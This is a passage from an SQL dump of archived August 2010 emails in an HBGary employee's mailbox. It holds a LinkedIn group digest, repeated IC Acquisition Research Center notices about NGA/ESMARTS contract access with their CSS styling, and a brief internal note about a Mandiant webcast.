<group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008401.M827483P14101Q5802.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Steve Guthrie and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 26, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n            4 discussions\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (4)  \r\n\r\n    \r\n      \r\n        Sr. Acquisitions Specialist (Washington,DC)\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Steve Guthrie, Recruiter, Federal Solutions Division at Government Contract Solutions\r\n        \r\n          \r\n	              Sr. Acquisitions Specialist opportunity in Washington, DC. Please visit our Careers site at https://www.cytiva.com/gcs/ext/search.asp to...\r\n	                    More &raquo;\r\n                By Steve Guthrie, Recruiter, Federal Solutions Division at Government Contract Solutions\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        Contracts Specialist - Mid (Arlington,VA)\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Steve Guthrie, Recruiter, Federal Solutions Division at Government Contract Solutions\r\n        \r\n          \r\n	              Contracts Specialist opportunity in Arlington, VA. Please visit our Careers site at https://www.cytiva.com/gcs/ext/search.asp to browse...\r\n	                    More &raquo;\r\n                By Steve Guthrie, Recruiter, Federal Solutions Division at Government Contract Solutions\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        Earth911.com - Find Recycling Centers and Learn How To Recycle\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              Jeff Farber of PC Recycler is explaining the value of http://www.Earth911.com/\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        Danville Economic Development\r\n        Comment or flag  &raquo;\r\n      \r\n\r\n        Started by Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n        \r\n          \r\n	              Mayor Sherman Saunders did an excellent job of promoting business and economic development for the City of Danville....\r\n	                    More &raquo;\r\n                By Terell Jones, Director of Infrastructure at EcomNets [tjones@ecomnets.com] Green IT Solutions Provider\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',5846,'aaron_hbgary_com/5846.html'),(10948,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008402.M289314P14101Q5804.eml','federal@hbgary.com','NGA / ESMARTS Announcement Posting','\r\nAn announcement has been posted on the NGA-ESMARTS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /ESMARTS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5584,'aaron_hbgary_com/5584.html'),(10949,'2010-08-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008402.M513123P14101Q5805.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: Mandiant getting in to the social media space','Looks like we should contact those people to do a webcast\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 26, 2010 10:38 AM\r\nTo: Greg Hoglund; Penny Leavy; Ted Vera; Rich Cummings\r\nSubject: Mandiant getting in to the social media space\r\n\r\nhttp://www.msisac.org/webcast/2010-09/index.cfm\r\n\r\nAaron\r\n\r\n',11378,'aaron_hbgary_com/11378.html'),(10950,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008402.M64065P14101Q5803.eml','federal@hbgary.com','NGA / ESMARTS Announcement Posting','\r\nAn announcement has been posted on the NGA-ESMARTS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /ESMARTS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8104,'aaron_hbgary_com/8104.html'),(10951,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008403.M131055P14101Q5806.eml','federal@hbgary.com','NGA / ESMARTS Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NGA-ESMARTS effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /ESMARTS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: 